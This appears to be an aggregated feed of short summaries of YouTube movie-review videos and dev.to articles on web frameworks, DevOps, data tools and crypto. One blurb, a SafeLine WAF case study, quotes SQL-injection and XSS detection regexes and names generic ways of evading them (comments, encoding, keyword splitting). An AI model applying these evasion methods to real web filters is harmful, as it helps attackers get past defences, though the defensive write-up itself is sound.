    ‘Two for the Money’ Rewatchables Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday-night parlay to revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They break down all the high-stakes betting scenes, debate the most rewatchable moments, and slot the film into their signature Rewatchables categories. Along the way they serve up their usual pop-culture banter—complete with a cold open, handy segment timestamps, and even a few sponsor plugs—while dissecting what makes this Hollywood depiction of sports gambling a must-revisit. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins delivers a rapid-fire roast of KPop Demon Hunters, ticking off every “sin” and joke in true snarky style. They hype up the film’s quirks, invite you to binge their other YouTube channels (TVSins, CommercialSins, CinemaSins Podcast) and point you to their Linktree for the freshest updates. The description doubles as a fan hub—linking to their main site, a quick poll, Patreon for support, plus all the socials (Discord, Reddit, Twitter, Instagram, TikTok). Credit goes to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, each with their own social handles if you crave more sinning commentary. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning CinemaSins just dropped their “Everything Wrong With” roast of Mission: Impossible – The Final Reckoning, poking fun at Tom Cruise’s death-defying stunts and lamenting that the once-spotless series might’ve lost its way in these last couple of films. They’ve packed the description with links to their site, YouTube channels (TVSins, CommercialSins, CinemaSins Podcast Network), socials, a sinful poll, Patreon support, and even shout-outs to their writing crew. Dive in for the nitpicks, then head to their Linktree for more sins and shenanigans! Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s in a bit of a pickle – after Marvel and Star Wars misfires and new titles like Wish and Elio fizzling, The Weekly Planet is gearing up for a four-week shame parade of Disney’s biggest live-action bombs. First up: 2010’s The Sorcerer’s Apprentice, featuring Nicolas Cage, magic tricks galore, a giant bird, and enough head-scratching moments to fill a kingdom. Dive into the video for all the glorious cringe. Watch on YouTube  ( 6 min )
    NopRule: A Rule Engine That Uses Excel as a Visual Designer
    Decision trees and decision matrices are intuitive representations of complex IF-ELSE logic for business users and are the most common and useful parts of a rule engine. Popular rule engines such as Drools do offer richer feature sets, notably the so-called RETE algorithm for efficiently reusing frequently repeated expression fragments; however, in real-world business applications the need to use the RETE algorithm is rare. In most cases we downgrade the rule engine to decision tables and decision matrices. A reasonable ordering of nodes in decision trees and decision matrices already provides execution optimization. In scenarios that truly require the RETE algorithm, it is typically difficult for most people to grasp intuitively, making it unsuitable for direct configuration by business u…  ( 10 min )
    Too ambitious to quit, too lazy to start? Read this instead.
    Motivation is unreliable. Here’s how devs actually build momentum one stupidly small win at a time. I used to wake up already losing. Thumb opens a feed before my eyes fully boot, brain gets hit with 200 opinions I didn’t ask for, and suddenly I’m “too tired” to touch the repo. Sound familiar? The irony: I kept waiting for motivation like it was a dependency to install. It’s not. The fix wasn’t a new app or a guru routine. It was lowering the bar until it felt embarrassing not to step over it. One line PR. Open the doc. Put on the shoes. That’s it. Something changed recently: the collective fatigue around infinite feeds. Everyone’s quietly admitting the algorithm is farming attention, and a lot of us devs are feeling weirdly “busy” while shipping less. Same. So I ran a set of tiny experim…  ( 12 min )
    Apprentissage adversarial en temps réel: performances >95% et latence sous millisecondes
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    New in Vue - November 2025
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    5 Técnicas Para Melhorar a Performance no seu App Angular
    O Problema Lembra daquele app que começou rápido e depois foi ficando mais lento conforme adicionávamos features? Pois é, o culpado quase sempre é o mesmo: change detection. O Angular, por padrão, é um pouco paranóico. A cada evento (scroll, clique, timer), ele verifica TODA a árvore de componentes pra ver se algo mudou. Traduzindo: se você tem 100 componentes e 100 eventos por segundo, são 10.000 verificações por segundo. Não tem CPU que aguente! Para resolver, listei abaixo 5 técnicas para melhorar a performance do seu app Angular. Algumas delas, mesmo sendo velhas conhecidas, ainda hoje costumam ser ignoradas. Compatibilidade: Angular 2+ Impacto: Reduz change detection em ~90% Essa aqui muda o jogo. O OnPush faz o Angular ser mais inteligente - ele só verifica mudanças quando realmen…  ( 8 min )
    Day F8: The Exam Everyone Failed (And Why I Don't Care)
    Today's exam was apparently very difficult. I say "apparently" because I honestly couldn't tell. My classmates walked out devastated. Like genuinely upset. Talking about how brutal it was, how they definitely failed, how unfair the questions were. And I'm just... whatever about it. Not because I'm smart or prepared or confident. I studied for maybe 3 hours like I do for every exam. They all feel the same to me at this point—show up, write what you know, leave. Some people would call that careless. Maybe it is. But it's working so far. I'm liking this phase. Not the exam stress part—that's still there. But something else. I'm getting over the whole "stay in bed when I feel shitty" thing. Used to be when things got bad, I'd just rot. Lie there, scroll, feel worse, repeat. But lately when I f…  ( 7 min )
    Leveling Up Your Python Logs with Structlog
    Python's standard logging module is capable, but shaping it into a system that produces structured, contextual, and queryable logs requires understanding a lot of concepts: hierarchical logging, formatters, filters, handlers, and configuration files. It can be done, but it often feels like you are building infrastructure instead of writing your application. Structlog takes a different approach. Rather than wrestling with object hierarchies, you simply declare how each event should be processed and enriched. The result is logging that feels natural to write, while producing output that works just as well for humans skimming a console as it does for machines ingesting JSON into an observability platform. This guide takes a practical look at using Structlog as the foundation for a production-…  ( 18 min )
    x402: Pay-Per-Use Internet
    We All Hate Free Trials (Well, I Do) Sometimes I just want to test something new. Maybe it’s a new AI image tool, a premium API, pay for a digital content to a creator, some data service everyone won’t shut up about. But nope—the first thing I see is “Start your 7-day free trial!” Great… except now I have to hand over my card on day one. Then I spend the whole week stressing that I’ll forget to cancel and get slapped with a $99 charge for something I used only once. Even worse: sometimes I want my AI agent (ChatGPT, Claude, Grok) to use that service for me. Which means what—give my card to the AI? I’m reckless, but an AI agent is probably ten times more reckless than me. It’s dumb. We shouldn’t need credit cards just to test stuff. With x402, I load a single wallet once—with however much…  ( 11 min )
    GraphBit: Reliable AI Workflows with Multi-LLM Integration and Robust Tool Orchestration for Python Developers
    Core Problem Statement GraphBit targets the hard parts of building reliable, scalable, and maintainable AI-powered workflows. It addresses: Orchestrating multi-step AI tasks with clear data dependencies and parallelism Integrating multiple LLM providers without lock-in Making LLM agents safely call tools and incorporate tool results Running workflows with production-grade resilience under variable load and flaky networks Giving Python developers a simple API while leveraging a high-performance runtime In short: GraphBit turns agentic AI from ad-hoc scripts into robust, dependency-aware workflows that can run reliably in production. Developer Pain Points Fragmented orchestration Hand-rolled “call A then B” glue code; no graph-level validation or parallelism Brittle context passi…  ( 8 min )
    How AI Became My Mental Reset Button in a Chaotic World
    I never expected AI to become my calm-down tool. But my mental reset button? Tech isn’t always a peaceful place. There’s pressure, speed, too many ideas, too many tabs open (in browsers and in life), and the constant background noise of “learn this” / “ship that” / “don’t fall behind.” Somewhere in the middle of that storm, AI became… my slowdown. 🌫️ When your brain is overloaded, AI becomes the quiet friend I’m not a developer, but I spend enough time around tech people to know one thing: Their minds never stop. And being in that environment is inspiring — but also overwhelming. So I started using AI tools as a way to calm my mind: write out a frustration ask AI to organize it ask for perspective ask for a question I could ask myself ask for one small thing I can do right now ask it to t…  ( 8 min )
    Unlocking Algorithmic Elegance: AI's Blind Spot and the Power of Evolutionary Mappings by Arvind Sundararajan
    Unlocking Algorithmic Elegance: AI's Blind Spot and the Power of Evolutionary Mappings Imagine needing to translate between two languages, not word-for-word, but conceptually. Or optimizing a complex supply chain where seemingly unrelated actions perfectly balance each other. These scenarios highlight a fundamental challenge: finding the perfect one-to-one mapping between distinct entities – a bijection. While AI excels at many tasks, discovering these elegant algorithmic relationships often remains stubbornly difficult. The core idea is to leverage a collaborative approach where AI generates possible solutions (as functional code), and then an evolutionary algorithm intelligently refines them. Think of it like breeding algorithms for speed and efficiency. The evolutionary process introd…  ( 7 min )
    🎯 Task #3 — Enable AutoSync + Health Checks + Self-Heal in ArgoCD
    ArgoCD is powerful because it continuously watches Git and your cluster, and keeps them in sync. ✅ Auto-Sync Automatically apply changes from Git to the cluster. ✅ Self-Heal If someone manually edits or deletes a Kubernetes object, ArgoCD restores it from Git. ✅ Auto-Prune Remove Kubernetes resources that were removed from Git. ✅ Rollbacks If a sync fails, ArgoCD will automatically roll back to a good version. Go to: Applications → Select your app → App Details → Sync Policy Turn ON: Auto-Sync Prune Resources Self Heal These correspond to: Setting Meaning Auto-Sync If Git changes, ArgoCD automatically applies the changes to the cluster. Prune If a file (resource) is deleted from Git, ArgoCD deletes that resource from the cluster. Self-Heal If someone manually changes something …  ( 7 min )
    Ensuring Message Order in Distributed Systems: Addressing Pub/Sub Ordering Key Limitations with Subscriber-side Sorting
    Executive Summary In event-driven and distributed architectures, preserving the order of messages is critical for maintaining state consistency, processing accuracy, and system reliability. Google Cloud Pub/Sub offers ordering keys to ensure that messages with the same key are delivered in the order they were published. However, this feature does not always ensure in-order delivery at the subscriber level, which is particularly critical for platforms where sequence integrity is vital (e.g., financial systems, event sequencing). This paper outlines the causes behind unordered message reception of Google Pub/Sub despite the use of ordering keys and outlines a practical solution involving subscriber-side message sorting to enforce the expected message sequence. Google Cloud Pub/Sub is a w…  ( 10 min )
    Angular Aria vs Angular Primitives: What’s the Difference and When Should You Use Each?
    Angular Aria vs Angular Primitives: What’s the Difference and When Should You Use Each? The Angular ecosystem is evolving rapidly, especially around headless UI, accessibility, and composable component design. Two major players in this space are Angular Aria (introduced officially in Angular 21) and the Angular Primitives community library. At first glance they may seem similar — both provide unstyled, headless building blocks for creating highly customizable UI components. But they actually solve different layers of the UI problem. Understanding how they differ, where they overlap, and how to use them together is key if you’re building modern Angular applications, design systems, or complex custom UI libraries. This article breaks it all down. Angular Aria is an official Angular package…  ( 9 min )
    The Art Of System Awareness: Reading Signals With Code
    There is a difference between running code and reading the world through code. Most beginners think of programming as a series of instructions to make a machine behave. Professionals understand something far more interesting. Code is a sensor. Code is a lens. You can use it to observe patterns that are otherwise invisible. You can build systems that listen to the real environment of machines, networks, services, and human activity. System awareness is the discipline of perceiving signals before they turn into problems. It is the craft of understanding that everything emits data, everything leaks state, and everything is part of a larger motion that can be measured, modeled, and interpreted. This field sits between observability engineering, security monitoring, incident response, threat hu…  ( 13 min )
    4. PYTHON ESSENTIALS FOR AI/ML (Advanced OOP)
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    5. PYTHON ESSENTIALS FOR AI/ML (List & Dictionary Comprehensions)
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    Ethereum's Interop Layer (EIL), Sequence's Unified Payments, Eth Updated Roadmap at Devconnect, EIP-7702 Infra Integration
    We are welcoming you to our weekly digest! Here, we discuss the latest trends and advancements in account abstraction, chain abstraction and everything related, as well as bring some insights from Etherspot’s kitchen. The latest news we'll cover: Ethereum Shares New Details On Its New Interop Layer Sequence Launches Trails to Simplify Crypto Payments Vitalik Presents Updated Ethereum Roadmap at Devconnect Why EIP-7702 Infra Matters and How Developers Can Integrate It Please fasten your belts! Ethereum has released new information on its planned interoperability layer (EIL), a major component of its long-term roadmap aimed at enabling seamless communication between Layer 1, Layer 2 rollups, and external ecosystems. The Defiant reports that the update expands on earlier research proposals an…  ( 10 min )
    Fashion Predictions: What Men Will Be Wearing Next Year
    Men’s fashion is heading into one of its most interesting phases yet. As culture shifts and comfort becomes a priority, trends are evolving in ways that feel fresh but still practical. The modern man wants clothing that looks good, feels good, and works with his lifestyle, whether he’s in the office, on the go, or jumping between meetings and social plans. Next year’s trends reflect that perfectly. From relaxed tailoring to texture-rich fabrics and nature-inspired colors, the upcoming fashion wave blends style with ease like never before. Here’s a deep dive into what men will be wearing next year and how you can stay ahead of the curve. Tailoring is evolving, but not in the stiff, formal way we once knew. The next year is all about relaxed, breathable, soft tailoring that delivers sophisti…  ( 8 min )
    Mix with the Masters: Mixing Night with Ken Lewis - 100TH SHOW - 12/3/25
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    AWS ECS Managed Instances: The Middle Ground We've Been Waiting For
    AWS ECS Managed Instances: The Middle Ground We've Been Waiting For If you've been operating containerized workloads on AWS, you've probably grappled with a known trade-off. Use Fargate and enjoy hands-off simplicity, but it costs more and you give up control of your compute. Or manage your own EC2 fleet on ECS, enjoy complete hardware control and better costs, but now you're patching instances, configuring auto-scaling groups, and managing launch templates. It's a problem that has baffled engineers for decades. But AWS just came out with something that might finally bridge the gap: ECS Managed Instances. Let's be practical here with container orchestration. Not many teams wake up excited about managing infrastructure. They'd rather deploy features, not troubleshoot why a node consumed a…  ( 10 min )
    🚀 I Just Launched My New Portfolio — Here’s What I Built
    I finally shipped my new portfolio — but this time, Built it to show my real skills — not just look pretty. If you're looking for someone who can build polished, reliable, AI-driven experiences from scratch, this is for you. I wanted something that actually reflects how I build, how I think, and what I’m capable of creating as a Full Stack Developer & AI Engineer. yashpandav.dev 💬 Would Love Your Feedback Your thoughts genuinely help me improve. If you check it out, let me know what you think — and if you’re working on something exciting, I’m always open to collaborate.  ( 6 min )
    Has anyone built a tool to check FAB Bank balances programmatically?
    Hey DEV community, I’m trying to build a small utility to quickly check my FAB Bank balance without opening the mobile app every time. I’m curious if anyone here has done something similar—maybe via an API, a web automation script, or some kind of lightweight app. A few questions I have: Are there public or semi-public endpoints for retrieving balance info safely? Would you handle this through a server-side script, or directly in a client-side app? Any tips for keeping credentials secure while still making it convenient to check balances? I’m mostly doing this for personal convenience, but I’d love to hear what approaches other developers take for similar tasks. Thanks!  ( 6 min )
    Encrypting Secrets in Production (Without Breaking Everything)
    I just spent way more time than I'd like to admit adding encryption to a NestJS app that was already live. The kind of feature that sounds simple until you're staring at a database full of plaintext API keys wondering how to migrate them without taking the whole thing offline. Here's what actually happened. We store webhook secrets for GitHub and API credentials for Twitter/LinkedIn/Dev.to. All sitting in a PostgreSQL jsonb column. Unencrypted. Not ideal? Sure. Security vulnerability? Absolutely. Something anyone actually exploits in a small B2B SaaS? Probably not, but still. The real trigger was adding more integrations. Each new platform meant more credentials, more API keys, more things that could leak. At some point you have to stop pretending you'll "add encryption later." Here's the…  ( 8 min )
    LangChain and OpenRouter in Python
    🚀 create_agent Using LangChain and OpenRouter in Python Artificial Intelligence doesn’t have to be complicated. In this short tutorial, I’ll show you how to build a simple create_agent using Python, LangChain, and OpenRouter in just a few steps. This is perfect for beginners who want to understand how AI APIs work in real projects. 👉 GitHub Repository: https://github.com/yourusername/langchain_python We’ll create a small Python script that: Connects to an AI model using OpenRouter Uses LangChain to manage the conversation Asks a simple question Prints the AI’s response in the terminal Example question: “What is artificial intelligence in simple terms?” langchain_python/ └── python_example/ ├── createagent.py ├── .env └── README.md Before starting, make sure you have: Python…  ( 7 min )
    Introducing ioc-arise: a zero-decorator DI container with AST-powered auto-registration.
    I used to handle dependency inversion with Inversify, but I was constantly annoyed by two main things: You have to import the @inject decorator everywhere, which ends up polluting your domain code. Writing the boilerplate dependency binding code was so repetitive that I wished I could just type a single command — arise — and have it done automatically. That's why I decided to create my own DI container, coupled with a command-line interface that handles code analysis (via AST parsing) and generates the registration boilerplate for you. Some of the Features: No decorators and no vendor lock-in. ioc-arise supports injecting typed objects, factory functions, and classes implementing interfaces or inheriting abstract classes. Multiple lifecycles: singleton and transient. The CLI can detect them if you leave a JS code comment (@scope singleton or @scope transient) just above the function or object declaration. Factory functions and value objects can be detected by the CLI via a JSDoc annotation (@factory or @value). You can find more about it here: ioc-arise  ( 6 min )
    The Consent Paradox
    The notification pops up on your screen for the dozenth time today: "We've updated our privacy policy. Please review and accept our new terms." You hover over the link, knowing full well it leads to thousands of words of legal jargon about data collection, processing, and third-party sharing. Your finger hovers over "Accept All" as a familiar weariness sets in. This is the modern privacy paradox in action—caught between an unprecedented awareness of data exploitation and the practical impossibility of genuine digital agency. As artificial intelligence systems become more sophisticated and new regulations demand explicit permission for every data use, we stand at a crossroads that will define the future of digital privacy. The traditional model of privacy consent was built for a simpler dig…  ( 29 min )
    ✅ Task #2 — Deploy Your First GitOps Application on GKE Cluster Using ArgoCD
    In this task you will: Create a simple Kubernetes manifest Push it to a GitHub repo Connect ArgoCD to that repo Deploy your app automatically Test GitOps Sync (manual + auto) Create a new GitHub repo: argocd-demo-app Add this structure: argocd-demo-app/ └── deployment.yaml └── service.yaml deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: demo-app labels: app: demo-app spec: replicas: 2 selector: matchLabels: app: demo-app template: metadata: labels: app: demo-app spec: containers: - name: nginx image: nginx:1.27 ports: - containerPort: 80 service.yaml apiVersion: v1 kind: Service metadata: name: demo-app spec: type: LoadBalancer selector: app: demo-app ports: …  ( 7 min )
    I built a Python Video Downloader for my Engineering Thesis 🎓🎥
    Hello Devs! 👋 We've all been there. You need to download a video for offline viewing or archiving. You search on Google, click on the first result, and... 🚨 Popups everywhere. "Allow notifications to continue." Sketchy redirects. I recently faced a challenge: I needed to create a practical application for my Engineering Thesis (Bachelor's final project). I didn't want to build something that would just sit in a drawer. I wanted to solve a real annoyance. So, I combined my academic requirements with a practical solution and built VidGrabber – an open-source tool written in Python to grab videos easily. VidGrabber is a desktop utility that allows you to download videos from popular platforms. It was designed as a diploma project to demonstrate Python capabilities in handling media streams …  ( 7 min )
    Your Guide to Mastering Email Forwarding
    Have you ever experienced the overwhelming feeling of having your inbox flooded with messages, posing a threat to your productivity? Rest assured, because you are not alone. Effectively managing emails can be quite challenging. However, busy professionals need not worry! There exists a potent tool hidden within your email settings: email forwarding. Beyond its simple definition, email forwarding offers a surprising depth of functionality, capable of streamlining your workflow, enhancing collaboration, and ensuring important information reaches the right people, every time. Intrigued? Follow us as we dive deeper into this tutorial of email forwarding. We’ll explore its various applications, from basic message redirection to advanced filtering and automation, all designed to help you. Step …  ( 7 min )
    The Architecture of Sound: Workflow Analysis of Generative Audio Tools
    In the traditional music production landscape, the distance between a cognitive idea and a rendered audio file is vast. A composer does not merely need a melody; they require proficiency in music theory, instrument physics, and Digital Audio Workstation (DAW) signal flow. Industry analysis often highlights a phenomenon known as "technical debt" in creativity—where musicians spend approximately 60% of their session time on mix engineering, cable routing, and software troubleshooting rather than actual composition. At its core, AI music generation relies on deep learning models, specifically Transformers and Diffusion models, trained on vast datasets of MIDI files and audio spectrograms. Unlike random noise generation, these systems understand the probability of note sequences. The first sta…  ( 8 min )
    Remove Watermarks from Word Documents in Java
    Watermarks are often used in Word documents to indicate their status, such as "Confidential," "Draft," or "Sample." However, when preparing a document for final distribution or sharing, you may need to remove these watermarks to present a cleaner version of the file. In this guide, we’ll show you how to remove watermarks from Word documents using Java. Whether you're automating the process or working with a single file, this approach will help you remove unwanted watermarks with minimal effort. Watermarks can serve many purposes during the drafting process, but once the document is finalized or ready for sharing, they may no longer be necessary. In such cases, removing the watermark will make the document look more polished and professional. Some common reasons for removing watermarks incl…  ( 8 min )
    Level Up Your SQL Skills: 8 Interactive Games That Make Learning Fun
    Tired of dry SQL tutorials and boring exercises? What if you could learn SQL by solving crimes, surviving disasters, or cracking mysteries? Game-based learning has exploded in popularity for a good reason! 🔗 Play Now | GitHub I bet you didn't know about this one! It's fresh out of the oven, and it has a GitHub repo too. This free interactive SQL game teaches you SQL through crime-solving challenges. You'll work with hands-on puzzles, realistic datasets, and practice exercises, all powered by a full browser-based SQLite database. Why it's great: No setup required, runs entirely in your browser, and the AI assistant helps you when you're stuck. 🔗 Play Now | GitHub New, hot, and trending! This vintage detective game is stylish and has a GitHub repo as well! SQL Noir has quickly become a pr…  ( 8 min )
    How to provision and S3 storage with Terraform: Plan, check, Apply, approve
    The four-step or should I say, two-step ritual every engineer configuring infrastructure eventually lives by. In my previous posts, we explored what Terraform is, why it matters, its components, how to install it, and how to prepare it for real use. If you haven’t been following from the start, here are some helpful resources to get you up to speed (assuming you use a Linux system): What is terraform Install terraform Get started with Terraform on AWS Alright, let's dive in. First, create a folder and your Terraform configuration file. mkdir tf-practice cd tf-practice touch main.tf Before you go on, be sure to have aws credentials that would have access to the s3 resource. main.tf with your favourite editor and paste this configuration. S3 resource documentation. terraform { required…  ( 8 min )
    The 2025 Humanizer Era: SafeNew AI and the Future of Human-Centric Writing
    In 2025, AI-assisted writing tools are no longer optional—they’ve become the foundation of how students, creators, and professionals communicate. Why Human-Like Writing Matters Today Too even in pacing Too predictable in vocabulary Structurally dense Mechanically transitioned Readers may not pinpoint exactly why, but they immediately sense when writing feels unnatural. Human-like writing matters because it: Builds trust Feels more conversational Reflects genuine thinking Enhances credibility Preserves the writer’s identity At its core, people respond positively to writing that feels like it originates from a human mind—not from a statistical process. This deeper authenticity is exactly what SafeNew AI was created to deliver. What Makes AI Text Feel “Less Human”? Predictability AI selects s…  ( 8 min )
    What can Agentic AI do that Traditional Automation cannot?
    Automation is moving from static rules to systems that can sense, reason and act on our behalf. Instead of waiting for triggers and following scripts, modern agents can perceive new information, evaluate it against goals and instantly decide the next step. They perform tasks within defined boundaries and manage continuous flows of data. This blog offers the key questions people ask about how these agents differ from the traditional automation. What Distinguishes These New Agents from Rule‑based automation? Traditional automation excels at predictable tasks and follows instructions to the letter. It relies on structured data and scripts that only change when developers update them. Agentic systems, however, represent a shift toward adaptive intelligence. They act autonomously toward a goal…  ( 9 min )
    Quartz
    Join the AI Challenge for Cross-Platform Apps: $3,000 in Prizes! Jess Lee for The DEV Team ・ Nov 19 #devchallenge #unoplatformchallenge #dotnet #ai  ( 6 min )
    HOW TO BECOME AN INTELLIGENT MAN.
    📚 Module 1: The Shift in Value - From Talking to Attracting The image presents a compelling before-and-after narrative, focusing on the relationship between two activities: Talking and Attracting. The shift suggests that a key element of becoming an "Intelligent Man" is the transformation of how you allocate your time and effort, moving from an outbound focus (talking) to an inbound focus (attracting). The "Before" State: Outbound Effort The "After" State: Inbound Leverage This module highlights that intelligence isn't just about what you know; it's about how you invest your time and energy to generate value—moving from being a constant broadcaster to a powerful magnet. 📚 Module 2: The Curriculum for Intelligence - A Curated Reading List The right side of the "HOW TO BECOME AN INTELLIG…  ( 11 min )
    Why People Forget Important Documents and How Digital Storage Helps
    Most people can remember birthdays, phone numbers from childhood, or the lyrics to a song they haven’t heard in 10 years, yet they forget where the insurance policy is stored. It’s not because someone is careless or disorganized. The truth is simpler: the human brain is not built to store and recall important documents. This is starting to matter more than ever in a world overflowing with paperwork, printed policies, digital PDFs, medical reports, legal letters, warranties, receipts, tax files, and more. When life gets busy, these things fade into the background until they are suddenly needed right away. And that’s usually when panic begins. Human memory evolved to help people survive, not to track policy numbers or remember whether the birth certificate is in the bottom drawer or the safe…  ( 8 min )
    How to connect PostgreSQL to Power BI using local PostgreSQL and Aiven.
    Introduction Power BI is one of the most popular business intelligence tools for data visualization and analytics. Combined with PostgreSQL, a powerful open-source relational database, you can create dashboards and reports. This guide will walk you through connecting PostgreSQL to Power BI using two approaches: a local PostgreSQL installation and Aiven's cloud hosted PostgreSQL service. Download PostgreSQL from the official PostgreSQL website and follow the installation process. Download Power Bi from the Microsoft store. During installation, note that your user password and port number. If yours is local, then the default port number is 5432. Ensure your database contains the data you want to visualize. Make sure your PostgreSQL server is active. Host: localhost Port: 5432 Default datab…  ( 8 min )
    7+ Top Black Friday Deals on Tailwind CSS UI Kits and Templates
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    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    On this episode of The Rewatchables, Bill Simmons, Chris Ryan, and Cousin Sal dive back into the 2005 sports-betting thriller Two for the Money, breaking down the film’s biggest plays, favorite cold open, and the most rewatchable moment. They zip through their signature segments—Cold Open, Sports Betting Breakdown, Most Rewatchable Scene, and The Categories—while producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo keep the pace tight. With Subaru’s Share the Love and State Farm sponsorships in the mix, it’s a must-listen for movie buffs and gambling junkies alike. Watch on YouTube  ( 6 min )
    Google Doesn't Trust Your Site? My Real EEAT Story From 2025
    Fast site Clean technical SEO Long, structured articles No AI spam No black-hat backlink nonsense And still… Google basically acted like my website didn't exist. No impressions. No indexing. No organic traffic. At first, I thought this was a bug, a penalty, or some missed technical detail. But the real reason was much simpler – and much more painful: Google didn't trust my content, because it didn't trust me as a creator. Everyone talks about EEAT (Experience, Expertise, Authoritativeness, Trustworthiness) like it's a simple SEO checklist: About page ✅ Long-form article ✅ Legal pages ✅ A few links ✅ But in practice, EEAT works more like an online reputation graph. When Google looks at your site, it's not just asking: "Is this a good article?" "Is the keyword in the H1?" "A…  ( 8 min )
    AWS Explained in Simple Plain English
    AWS… there’s a lot of buzz about it in the tech world. Everyone says it’s a valuable skill, companies want it, salaries go up with it — all that good stuff. But the real question is: What actually is AWS? Sure, I could tell you it’s a “comprehensive cloud services platform that offers scalable computing solutions” and blah blah blah… 😴 …but let’s be honest. “Bro, what is all this? Why so many??” 🤦 And eventually you might feel overwhelmed, bored, or even give up on AWS before you really start. So we’re not doing that today. Instead, we’re going to understand the big picture behind AWS — in the simplest, friendliest way possible — by talking through three main topics: What kind of problems do we face when we don’t use a cloud provider like AWS? How AWS solves those problems and saves u…  ( 18 min )
    Biometrics + WaaS: The Future of Crypto Wallet Security
    Recently, a friend of mine - a fintech startup founder - decided to enable in-app$BTC storage for his clients. I warned him: force users to deal with seed phrases, and you'll lose 80% of them at onboarding! We’ve all got used to unlocking iPhones with Face ID and confirming payments with a fingerprint, and I believe crypto in 2025 should feel just as effortless. Look at ZenGo: they replaced seed phrases with MPC technology, allowing wallet recovery via facial recognition. That is the standard we should aim for - and now, thanks to Wallet-as-a-Service (WaaS) infrastructure, it has become scalable for every business 🔥 👉 Take WaaS from WhiteBIT, for example. Users finally experience crypto as it should be - passwordless and secured by biometrics, free from the headache of private keys. Companies get a compliant, scalable backend layer and can instantly expand their product functionality with crypto to drive new customer streams. Easy and passwordless access is the new norm I expect from every modern financial app today. And with solutions like WaaS, any fintech can actually deliver such top-tier crypto UX without rebuilding its entire architecture.  ( 6 min )
    Custom Cursor AI IDE Rule
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    Why "this" Betrays You & How call/apply/bind Save Your Life – The Complete Story
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    Building Secure by Design: Architecture for Zero-Trust and Always-On Protection
    In a world where disruption is the norm and digital boundaries are dissolving by the minute, security can no longer be an afterthought or a static layer applied at the end of an initiative. Indeed, by 2025, 52% of organizations report having fully deployed a Zero-Trust architecture, and another 38% are in partial implementation, according to recent data. Meanwhile, the financial stakes have never been higher: the global average cost of a data breach dropped to US$4.44 million, but that decline masks a more complex reality. In certain regions, the numbers are stark: in India, for example, the average breach cost surged to ₹22 crore (≈ US$2.7 million) in 2025, a 13% year-over-year rise. The organizations navigating this evolving threat landscape with confidence are the ones embracing a…  ( 12 min )
    Building a simulator using AI for children to learn
    Building with ai has become easier and is becoming easier every day. You can do almost anything using AI. And the best thing to do is help people to learn. This is why I created Flower Growth Simulator Interactive Plant Learning. It's easy; it shows you how the plant grows when you modify the water, soil health, and sun. Easy but effective if you want to see how a plant grows over time. For kids it's of great importance; it could teach them about plants. It could teach them the importance of taking care of a flower. Using only a simulator. Try it here: demo  ( 6 min )
    Allowing/Blocking Emails or Domains in Microsoft 365
    Tired of being swamped by a flood of unwanted emails? Longing for the ability to manage your chaotic inbox? It’s completely understandable to feel overwhelmed by the influx of unwanted emails. You’re not alone in this constant battle against spam and irrelevant messages. However, there’s no need to worry, as there are effective ways to regain control over your inbox! We’ve prepared for you, a comprehensive tutorial that will guide you with the necessary knowledge and tools to curate your email experience, enabling you to embrace the desired emails and eliminate the unwanted ones. Step ONE: Sign in to Microsoft 365 Admin Center Go to https://admin.microsoft.com/Adminportal/Home#/homepage Sign in with your administrator account. Step TWO: Access the Exchange Admin Center In…  ( 7 min )
    Probabilistic Graph Neural Inference for bio-inspired soft robotics maintenance in hybrid quantum-classical pipelines
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    My first real Rust project
    I have been learning Rust for a couple of years, and using it for pet projects and demos alike. Working for a JVM-heavy company, I thought it would be my fate forever. Last week, I had a nice surprise: I convinced my management that using Rust for a particular project was the right choice. It's not a huge project, but I want to describe my experience using Rust in a "real" project. Our main software platform has baked-in health sensors for monitoring. These sensors are exposed as HTTP APIs. The problem is that most customers do not actively monitor those endpoints. For an engineer such as myself, they are responsible for their lack of maturity regarding observability; for customer success managers, they should be helped and cared for. The goal is simple: provide a component that polls the …  ( 11 min )
    7 Secrets Your Framework Docs Don't Tell You About Standalone Components
    You've probably heard about Angular's standalone components - they're a fresh way to build apps without relying on NgModules. But there's more to them than just skipping modules. Standalone components let you create self-contained building blocks that you import exactly where you need them, which makes your app cleaner and easier to manage. They simplify how you organize your code and open up new possibilities for building faster, more modular apps. This article isn't about the basics you've heard before. Instead, it dives into seven hidden tips and real-world advantages that most people overlook. Whether you're new to Angular or a seasoned developer, these insights will help you get more from standalone components. Even if you're a manager or stakeholder curious about how Angular's latest…  ( 14 min )
    Best Practices Are Not As Important As You Think They Are
    Best practices, they are not as important as you think they are. They do not just apply to the code you write to get your app to work. They also apply to styling, they apply to testing. You can implement best practices in a multitude of ways into your app, but should you? Please support my original publication here: Best Practices Are Not As Important As You Think They Are The main purpose best practices serve is code quality. You want maintainable code that you can always go back to, understand what it does, and easily swap out. Good practices make communicating with other developers way easier if you all have a certain standard, a code quality that you can all refer to. That is especially useful if you work in teams. If you work solo, not as much, but it still helps in some cases. Risk i…  ( 9 min )
    How SafeLine WAF Transformed Our Web Security: A Real User Case Study
    When our startup first began scaling our web service, cybersecurity was not our primary focus — until an incident made it painfully clear how vulnerable we were. Like most small teams, we initially relied on a traditional WAF powered by ModSecurity, which is common across 80% of web applications worldwide. At first glance, it seemed to work: SQL injections were blocked, XSS attacks were detected, and the dashboard showed all green. But very quickly, we ran into problems. Here’s what we experienced in real life: Attacks slipping through: Even though our WAF had rules like union[\w\s]?select for SQL injection and \balert\s for XSS, attackers could easily bypass them with simple tricks. For example, inserting comments, using character encoding, or splitting keywords. False positives aff…  ( 8 min )
    The New Digital-First Shift: AI Makes Development Easy, Marketing Becomes the Hard Part
